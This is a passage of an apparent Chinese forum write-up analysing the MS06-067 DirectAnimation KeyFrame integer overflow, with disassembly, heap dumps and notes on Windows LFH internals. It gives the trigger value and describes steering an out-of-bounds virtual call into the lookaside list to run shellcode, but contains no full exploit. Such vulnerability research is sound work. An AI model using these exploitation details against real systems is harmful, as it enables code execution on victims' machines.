TimeFrameArray.field_C[i]->func_8();
}
}
...
return err;
}
//我们传入的第一个参数是npoints,下面的代码就是分配npoints*16的空间给buf_1
//第二行是申请(npoints-1)*8的空间给buf_2,要注意的是申请空间所用的函数new
//这个函数其实是调用的CMemManager::AllocBufferGlb(ulong,ushort),这是在mmutilse.dll
//中实现的.最终调用的是CMemManager::AllocBuffer(ulong,ushort).
//通过对CMemManager::AllocBuffer和CMemManager::CMemManager反汇编会发现在这个类初始
//化的时候它会先建立10个堆,大小从10h到2000h.如果不是这些大小比如申请的空间大于2000h
那么就会在默认堆中分配空间.
CMemManager::AllocBuffer
........
push ebx
lea eax, [ebp+var_18]
push eax
push edi ; 查找是否与初始化的10个堆空间大小相适应的大小
call CMemManager::FindHeap(ulong,HEAPHEADER_tag *)
mov ebx, eax ; 返回适合的内存块序号
; 0 10h
; 1 20h
; 2 40h
...........
push edi ; 如果大小有与预建立的相适合的,就在预建立的堆中申请
push ebx
mov ecx, esi
call CMemManager::AllocFromHeap(int,ulong)
jmp short loc_619391E0 ; 0:005> dd esi
; 预分配的堆共10个
; 是否分配 堆对象 大小 个数
; 0024a970 00000001 03530000 00000040 00000004
; 0024a980 00000001 03540000 00000080 00000000
; 0024a990 00000001 03550000 00000100 00000000
; 0024a9a0 00000001 03560000 00000200 00000000
; 0024a9b0 00000001 03570000 00000400 00000001
; 0024a9c0 00000001 03580000 00000800 00000000
; 0024a9d0 00000001 035a0000 00001000 00000000
; 0024a9e0 00000001 03e50000 00002000 00000000
..............如果大小不对则
loc_619391D1: ; 实际分配的大小+8
lea eax, [edi+8]
push eax ; dwBytes
push 8 ; dwFlags
push dword ptr [esi+4Ch] ;hHeap
call ds:HeapAlloc(x,x,x)
------------------------------上面的hHeap,这个堆句柄,是在类初始化的时候调用下面代码
call ds:GetProcessHeap()
push 10h
mov ecx, esi
mov [esi+4Ch], eax ;得到的!
通过上面的分析得出结论:当我们传入的npoints*16,(npoints-1)*8,npoints*4后的大小大于2000h最终分配内存执行的代码如下:
HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8)
而npoints*16的代码实现如下
mov eax, ebx ;ebx是传入的第一个参数
shl eax, 4 ;左移4位,*16
push eax
call operator new(uint)
很明显整数溢出了.
这时设置传入参数为0x40000801那么分配的空间大小为
buf1=0x8018
buf2=0x4008
KeyFrameArray.field_C=0x200c
TimeFrameArray.field_C=0x200c
如果分配的大小都不为空,则调用
// We set an error and go to the cleanup code if the KeyFrameArray array
// is smaller than npoints*2 or TimeFrameArray is smaller than npoints-1
if ( KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 ||
TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0)
{
err = E_FAIL;
goto cleanup;
}
又因为我们调用KeyFrame时传入的后两个参数很小,所以npoints*2是肯定大于数组大小的,所以直接跳到cleanup.
cleanup中代码会挨个检查2个较小的buffer中的每一个DWORD,如果不是NULL的话,就把它当成对象指针,并调用对象的虚函数。
for (i = 0; i < npoints; i++) {
if (KeyFrameArray.field_C[i] != NULL)
KeyFrameArray.field_C[i]->func_8();
......
}
由于这2个buffer在分配时是使用了HEAP_ZERO_MEMORY参数的,所以buffer中是写满了NULL的。但问题是检查的范围是0到npoints(也就是0x40000801),所以这个检查会越界,程序会把buffer后面的内存中的数据也当成是buffer中的数据进行检查。即他会访问0x200c之后的数据。我们前面讨论过了,我们能控制KeyFrameArray.field_C这个buffer之后的一个DWORD。我们把它写成指向lookaside表中某一项的一个指针,这样当异常处理代码把这个非NULL的DWORD当成一个对象的指针,并调用这个对象的func_8()虚函数时,我们的shellcode就运行了。
.text:100071DA loc_100071DA: ; CODE XREF: CPathCtl::KeyFrame(uint,tagVARIANT,tagVARIANT)+2D4j
.text:100071DA mov eax, [ebp+arg_4]
.text:100071DA
.text:100071DD
.text:100071DD loc_100071DD: ; CODE XREF: CPathCtl::KeyFrame(uint,tagVARIANT,tagVARIANT)+2AFj
.text:100071DD add eax, esi
.text:100071DF cmp dword ptr [eax], 0 ;判断是否为NULL
.text:100071E2 jz short loc_100071EC
.text:100071E2
.text:100071E4 mov eax, [eax] ;不为0,把这个DWORD当成对象指针
.text:100071E6 mov ecx, [eax]
.text:100071E8 push eax
.text:100071E9 call dword ptr [ecx+8] ;执行对象的第三个虚函数
.text:100071E9
.text:100071EC
.text:100071EC loc_100071EC: ; CODE XREF: CPathCtl::KeyFrame(uint,tagVARIANT,tagVARIANT)+2B9j
.text:100071EC cmp dword ptr [esi], 0
.text:100071EF jz short loc_100071F9
.text:100071EF
.text:100071F1 mov eax, [esi]
.text:100071F3 mov ecx, [eax]
.text:100071F5 push eax
.text:100071F6 call dword ptr [ecx+8]
.text:100071F6
.text:100071F9
.text:100071F9 loc_100071F9: ; CODE XREF: CPathCtl::KeyFrame(uint,tagVARIANT,tagVARIANT)+2C6j
.text:100071F9 add esi, 4
.text:100071FC dec ebx
.text:100071FD jnz short loc_100071DA
如何利用漏洞: 048a0040
048a2058
2018h,包括ENTRY头实际数据2010H,我们就是在200c后的4字节要设置为00151e58 7.3 XPSP2+IE7下MS06067漏洞的利用
环境搭建:
找了台XPSP2+IE7,查看06067的公告发现IE7下无洞,通过去掉注册表中的KILLBIT和重新注册控件触发成功.
danim.dll(6.3.1.146)
daxctle.ocx(6.3.1.146),注意ms的公告中有时把这个控件的名字写成了daxctrle.ocx.
lmrt.dll(6.3.1.146)
mmutilse.dll(6.3.1.146)
未完....侍续....
附:
for LFH on win7 to find the size there's a complex xor:
eax = address of headers (i.e., app addr - 8)
if top bit of eax+0x7 is set then does the +0x50 cookie xor
else (*(((eax>>3) ^ (1st-header-dword) ^ *ntdll!RtlpLFHKey ^ heapbase) + 0x10) << 3)
- (*(eax+0x7) & 0x3f)
ntdll!RtlSizeHeap+0xa4:
770a46e9 8a4807 mov cl,[eax+0x7]
770a46ec 80f904 cmp cl,0x4
770a46ef 0f8481530500 je ntdll!RtlSizeHeap+0xac (770f9a76)
I haven't explored this side but apparently some other types of blocks
as well:
ntdll!RtlSizeHeap+0xac:
770f9a76 50 push eax
770f9a77 56 push esi
770f9a78 e881ba0200 call ntdll!RtlpGetSizeOfBigBlock (771254fe)
770f9a7d e9c1acfaff jmp ntdll!RtlSizeHeap+0x167 (770a4743)
ntdll!RtlSizeHeap+0xb8:
770a46f5 57 push edi
770a46f6 84c9 test cl,cl
770a46f8 794f jns ntdll!RtlSizeHeap+0xd4 (770a4749)
ntdll!RtlSizeHeap+0xbd:
770a46fa 8b10 mov edx,[eax]
770a46fc 8bc8 mov ecx,eax
770a46fe c1e903 shr ecx,0x3
770a4701 33ca xor ecx,edx
770a4703 330da4001777 xor ecx,[ntdll!RtlpLFHKey (771700a4)]
770a4709 33ce xor ecx,esi
770a470b 668b4910 mov cx,[ecx+0x10]
770a470f 0fb7f9 movzx edi,cx
ntdll!RtlSizeHeap+0x15f:
770a473b 8bc7 mov eax,edi
770a473d c1e003 shl eax,0x3
770a4740 2bc1 sub eax,ecx
770a4742 5f pop edi
for now bailing and having extra padding size be assumed to be just request
size aligned forward to chunk alignment
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!